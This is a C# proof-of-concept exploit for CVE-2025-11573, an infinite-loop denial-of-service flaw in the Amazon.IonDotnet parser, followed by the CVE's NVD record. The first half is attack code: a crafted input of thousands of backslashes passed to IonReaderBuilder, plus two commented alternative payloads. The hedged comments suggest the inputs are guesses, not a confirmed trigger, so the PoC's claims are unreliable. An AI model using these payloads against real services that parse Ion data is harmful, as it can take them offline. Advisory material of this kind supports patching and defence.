CVE-2025-11573

// CVE-2025-11573 PoC - Amazon.IonDotnet Infinite Loop DoS // This PoC demonstrates triggering an infinite loop in Amazon.IonDotnet < v1.3.2 // by providing a specially crafted Ion text input that causes the parser to loop indefinitely. using System; using System.IO; using System.Text; using Amazon.IonDotnet; class Program { static void Main(string[] args) { // Crafted Ion text input designed to trigger infinite loop in the parser. // The malformed symbol token or unterminated string literal causes // the text reader's state machine to loop without making progress. string maliciousInput = "'''" + new string('\\', 10000) + "u{'a':"; // Alternative: unterminated string with escape sequences // string maliciousInput = "\"" + new string('\\', 10000) + "u"; // Alternative: deeply nested or malformed structure // string maliciousInput = "{\"a\":" + new string('(', 100000) + "1" + new string(')', 100000); try { using (var reader = new MemoryStream(Encoding.UTF8.GetBytes(maliciousInput))) { // This call will hang indefinitely due to infinite loop in parser using (var ionReader = IonReaderBuilder.Build(reader)) { // The parser enters an infinite loop during MoveNext() // and never returns, causing denial of service Console.WriteLine("Starting to parse malicious input..."); while (ionReader.MoveNext() != IonType.None) { // Parser is stuck in infinite loop here Console.WriteLine("This line will never be reached"); } } } } catch (Exception ex) { Console.WriteLine($"Exception: {ex.Message}"); } } }

{"cve": {"id": "CVE-2025-11573", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2025-10-09T18:15:49.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An infinite loop issue in Amazon.IonDotnet library versions <v1.3.2 may allow a threat actor to cause a denial of service through a specially crafted text input.\n\nTo mitigate this issue, users should upgrade to version v1.3.2. As of August 20, 2025, this library has been deprecated and will not receive further updates."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/AWS-2025-022/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-ion/ion-dotnet/releases/tag/v1.3.2", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-ion/ion-dotnet/security/advisories/GHSA-q5r6-9qwq-g2wj", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}